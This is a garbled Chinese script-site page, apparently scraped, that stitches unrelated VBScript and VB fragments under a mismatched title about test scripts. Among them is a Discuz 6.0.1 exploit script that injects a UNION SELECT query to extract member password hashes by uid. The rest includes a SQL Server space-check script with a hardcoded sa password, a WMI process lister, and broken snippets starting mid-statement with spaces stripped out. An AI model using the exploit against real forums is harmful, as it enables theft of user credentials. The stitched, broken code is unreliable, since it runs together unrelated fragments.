软件测试脚本编写戏剧格式

发布时间:2020-08-31 来源:脚本之家 点击:

假设要将Form2放在Form1中,请在宣告区中宣告:

DeclareFunctionSetParentLib"user32"(ByValhWndChildAsLong,ByValhWndNewParentAsLong)AsLong

在Form2中的Form_Load中加入SetParent(Me.hWnd,Form1.hWnd)即可
Dim strUrl,strSite,strPath,strUid
showB()
Set Args=Wscript.Arguments
If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If
strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,passwordfromcdb_memberswhereuid=" & strUid &"*"
objXML.SetRequestHeader "Accept-Language", "zh-cn"
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "User-Agent", "wap"
objXML.send(strUrl)
wscript.echo(objXML.ResponseText)
Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit discuz6.0.1")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site path uid")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" /forum/ 1 >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub

明日之后钢琴脚本复制
D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\adodb.stream读文件到数组的代码.htm默认的方法允许你从你的代码中省略单词"Item"

获得SQL数据/日志空间使用,已使用的和未使用的空间的脚本

getSQLinfo.vbs
'scripttogetSQLDATA/LOGSpaceUsed,Spaceunused,
andSpaceFree
'Author:FelipeFerreira,DanielMagrini
'Date:05/07/07
'Version2,0

'@@TOCHANGE:::SERVERNAME\Instance,domain?passwordANDDATABSE!

'____________________________________________________________________________
ConstForReading=1,ForWriting=2,ForAppending=8
SetoFSO=CreateObject("Scripting.FilesyStemObject")
outputfile="CheckSqlDB_Size.txt"
Setofile=oFso.OpenTextFile(outputfile,8,True)
oFile.Writeline"######################################################"
oFile.Writeline"Thiscommandexecutedin"&Date&"at"&Time&VbCrLf
'____________________________________________________________________________

CheckSQLData
CheckSQLLOG


'##############GETSQLDATASPACEUSED,SPACETOTAL,SPACEFREE
'FunctioncheckSQL(strServer,strDB)inthefuturemakeitafunction....
SubCheckSQLDATA
ConstadOpenDynamic=1,adLockOptimistic=3
DimstrQuery
DimobjConnection,objRecordSet
DimstrQueryResult,strQueryResult2
DimUsedDataSpace,TotalDataSpace,FreeDataSpace
SetobjConnection=CreateObject("ADODB.Connection")
SetobjRecordSet=CreateObject("ADODB.Recordset")

objConnection.Open_
"Provider=SQLOLEDB.1;Server=192.168.8.10;UserID=sa;Password=lcx;Database=master;"

strQuery="DBCCshowfilestats"
objRecordSet.OpenstrQuery,objConnection,adOpenDynamic,adLockOptimistic
ifobjRecordSet.eofThen
'nothingreturned
wscript.echo"ERROR!!!"
Else

'NOTE:TogetthevalueinMB64/1024=0.0625
DoUntilobjRecordSet.eof
strQueryResult=objRecordSet.Fields("UsedExtents")
UsedDataSpace=strQueryResult*0.0625
strQueryResult2=objRecordSet.Fields("TotalExtents")
TotalDataSpace=strQueryResult2*0.0625
FreeDataSpace=TotalDataSpace-UsedDataSpace

'CleanData
UsedDataSpace=Left(UsedDataSpace,4)
FreeDataSpace=Left(FreeDataSpace,4)
TotalDataSpace=Left(TotalDataSpace,4)

'PrintResultonScreen
Wscript.echo"UsedSpace(MB)="&UsedDataSpace
Wscript.Echo"FreeSpace(MB)="&FreeDataSpace
Wscript.Echo"TotalSpace(MB)="&TotalDataSpace

'WriteonFile
ofile.WriteLine"UsedDATASpace(MB)="&UsedDataSpace
ofile.WriteLine"FreeDATASpace(MB)="&FreeDataSpace
ofile.WriteLine"TotalDATASpace(MB)="&TotalDataSpace

objRecordSet.MoveNext
loop
endif
objRecordSet.Close
objConnection.Close
setobjConnection=nothing
setobjRecordSet=nothing
endsub

SubCheckSQLLOG
ConstadOpenDynamic=1,adLockOptimistic=3
DimstrQuery
DimobjConnection,objRecordSet
DimstrQueryResult,strQueryResult2
DimUsedLogSpace,TotalLogSpace,FreeLogSpace
SetobjConnection=CreateObject("ADODB.Connection")
SetobjRecordSet=CreateObject("ADODB.Recordset")

objConnection.Open_
"Provider=SQLOLEDB.1;Server=192.168.8.10;UserID=sa;Password=lcx;Database=master;"

strQuery="DBCCSQLPERF(LOGSPACE)"
objRecordSet.OpenstrQuery,objConnection,adOpenDynamic,adLockOptimistic
ifobjRecordSet.eofThen
'nothingreturned
wscript.echo"ERROR!!!"
Else


DoUntilobjRecordSet.eof
IfobjRecordSet.Fields("DatabaseName")="master"Then


strQueryResult=objRecordSet.Fields("LogSize(MB)")
strQueryResult2=objRecordSet.Fields("LogSpaceUSed(%)")
UsedLogSpace=(strQueryResult*strQueryResult2)/100
TotalLogSpace=strQueryResult
FreeLogSpace=TotalLogSpace-UsedLogSpace

'CleanData
UsedLogSpace=Left(UsedLogSpace,4)
FreeLogSpace=Left(FreeLogSpace,4)
TotalLogSpace=Left(TotalLogSpace,4)

'PrintResultonScreen
Wscript.echo"UsedSpace(MB)="&UsedLogSpace
Wscript.Echo"FreeSpace(MB)="&FreeLogSpace
Wscript.Echo"TotalSpace(MB)="&TotalLogSpace

'WriteonFile
oFile.WriteLine"UsedLOGSpace(MB)="&UsedLogSpace
oFile.WriteLine"FreeLOGSpace(MB)="&FreeLogSpace
oFile.WriteLine"TotalLOGSpace(MB)="&TotalLogSpace

oFile.close

ExitDo

EndIf

objRecordSet.MoveNext
loop
endif
objRecordSet.Close
objConnection.Close
setobjConnection=nothing
setobjRecordSet=nothing
endsub
WSCript.Quit

对于那些需要对不同复本中的现存记录进行频繁更新的应用程序,可能会比简单地往数据库中插入新记录的应用程序产生更多的记录冲突

'FileName:ProcessMagnifier.vbs
'Function:Captureinformationabouttherunningprocessesindetail
'codebysomebody
'QQ:240460440
'LastModified:2007-11-1618:25
'仅供学习

ConstHKEY_CURRENT_USER=&H80000001
oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath="Console\%SystemRoot%_system32_cmd.exe"
oReg.CreateKey(HKEY_CURRENT_USER,strKeyPath)
strValueName1="CodePage"
dwValue1=936
strValueName2="ScreenBufferSize"
dwValue2=98304200
strValueName3="WindowSize"
dwValue3=2818173
strValueName4="HistoryNoDup"
dwValue4=0
strValueName5="WindowPosition"
dwValue5=131068
strValueName6="QuickEdit"
dwValue6=2048
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName1,dwValue1)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName2,dwValue2)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName3,dwValue3)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName4,dwValue4)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName5,dwValue5)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName6,dwValue6)


DimobjWSH,FinalPath
objWSH=WScript.CreateObject("WScript.Shell")
If(LCase(Right(WScript.Fullname,11))="wscript.exe")Then
FinalPath="'"&WScript.ScriptFullName&"'"
objWSH.Run("cmd.exe/kcscript//nologo"&Replace(FinalPath,"'",""""))
WScript.Quit()
EndIf

oReg.DeleteKey(HKEY_CURRENT_USER,strKeyPath)
oReg=Nothing

WScript.Echo()
WScript.Sleep(1000)
WScript.Echo("当前正在运行的进程简要信息列表如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(2000)

DimMyOBJProcessName
OBJWMIProcess=GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select*FromWin32_Process")
WScript.Echo"Name:Priority:PID:Owner:"&vbTab&vbTab&"ExecutablePath:"
WScript.Echo("---------------------------------------------------------------------------------------")
ForEachOBJProcessInOBJWMIProcess
MyOBJProcessName=OBJProcess.Name&""
colProperties=OBJProcess.GetOwner(strNameOfUser,strUserDomain)
WScript.EchoMid(MyOBJProcessName,1,20)&vbTab&OBJProcess.Priority&vbTab&OBJProcess.ProcessID&vbTab&strNameOfUser&vbTab&vbTab&OBJProcess.ExecutablePath
Next

WScript.Sleep(5000)
WScript.Echo(vbCrLf)
WScript.Echo("当前正在运行的进程以及其加载的模块详细信息树状结构如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(3000)
WScript.EchovbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&"创建时间文件制造商"

OBJWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
OBJRefresher=CreateObject("WbemScripting.SWbemRefresher")
colItems=OBJRefresher.AddEnum(OBJWMIService,"Win32_PerfFormattedData_PerfProc_FullImage_Costly").ObjectSet
OBJRefresher.Refresh()
ForEachOBJItemIncolItems
DimoriginalPath,ModulePath,WMIPathMode,FileManufacturer,LCaseModulePath
DimFileExtension,mark,MyLCaseModulePath,FinalModulePath
originalPath=OBJItem.Name
ModulePath=Split(originalPath,"/")
WMIPathMode=Replace(ModulePath(1),"","\")
OBJWMI=GetObject("winmgmts:\\.\root\CIMV2")
colManufacturer=OBJWMI.ExecQuery("SELECT*FROMCIM_DataFileWhereName='"&WMIPathMode&"'")
ForEachOBJManufacturerIncolManufacturer
FileManufacturer=Trim(OBJManufacturer.Manufacturer)
LCaseModulePath=LCase(Trim(OBJManufacturer.Name))
FileExtension=Right(LCaseModulePath,3)
MyLCaseModulePath=LCaseModulePath&""
FSO=CreateObject("Scripting.FileSystemObject").GetFile(LCaseModulePath)
IfFileExtension="exe"Then
mark="├—"
FinalModulePath=Mid(MyLCaseModulePath,1,118)
WScript.Echo("│")
Else
mark="│├─"
FinalModulePath=Mid(MyLCaseModulePath,1,116)
EndIf
WScript.Echomark&FinalModulePath&FSO.DateCreated&vbTab&FileManufacturer
Next
Next

以上的声明在VB中表示声明了a,b2个variant(不定形态变量),以及c这个字串变量

", 5 , "警告:修改失败", 48+4096
End If
Set wso=Nothing
End Sub

'===========================================================================================
'小函数
Function Exist( strPath )
'On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
If ((fso.FolderExists( strPath )) Or (fso.FileExists( strPath ))) then
Exist=True
Else
Exist=False
End if
Set fso=Nothing
End Function
Sub Move( strSource, strDestination )
On Error Resume Next
If Exist( strSource ) Then
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(strSource)) Then fso.MoveFile strSource, strDestination
If (fso.FolderExists(strSource)) Then fso.MoveFolder strSource, strDestination
Set fso=Nothing
Else
WarningInfo "警告", "找不到 " & strSource & " 文件电脑御魂

->设置各控件的属性如下:
Form1:AutoRedraw:True
ScaleMode:3
Picture1:AutoRedraw:True
ScaleMode:3
Visible:False
2代码编写
Modull.bas中的内容(声明BitBlt函数):
PublicConstSRCCOPY=&HCC0020'(DWORD)dest=source
DeclareFunctionBitBltLib"gdi32"Alias"BitBlt"(ByValhDestDCAsLongByValxAsLongByValyAsLongByValnWidthAsLongByValnHeightAsLongByValhSrcDCAsLongByValxSrcAsLongByValySrcAsLongByValdwRopAsLong)AsLong
这两句只要从Win32api.txt文件中粘贴即可

Function fOutput(strName)
strLen=Len(strName)
Select Case True
Case strLen < 8
fOutput=chr(9) & chr(9) & chr(9) & chr(9) & chr(9)
Case strLen < 16
fOutput=chr(9) & chr(9) & chr(9) & chr(9)
Case strLen < 24
fOutput=chr(9) & chr(9) & chr(9)
Case strLen < 32
fOutput=chr(9) & chr(9)
Case strLen < 40
fOutput=chr(9)
Case Else
'超过40的只取前32位
For K=1 To strLen - 32
fOutput=fOutput & chr(8)
Next
fOutput=fOutput & " ..." & chr(9)
End Select
End Function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号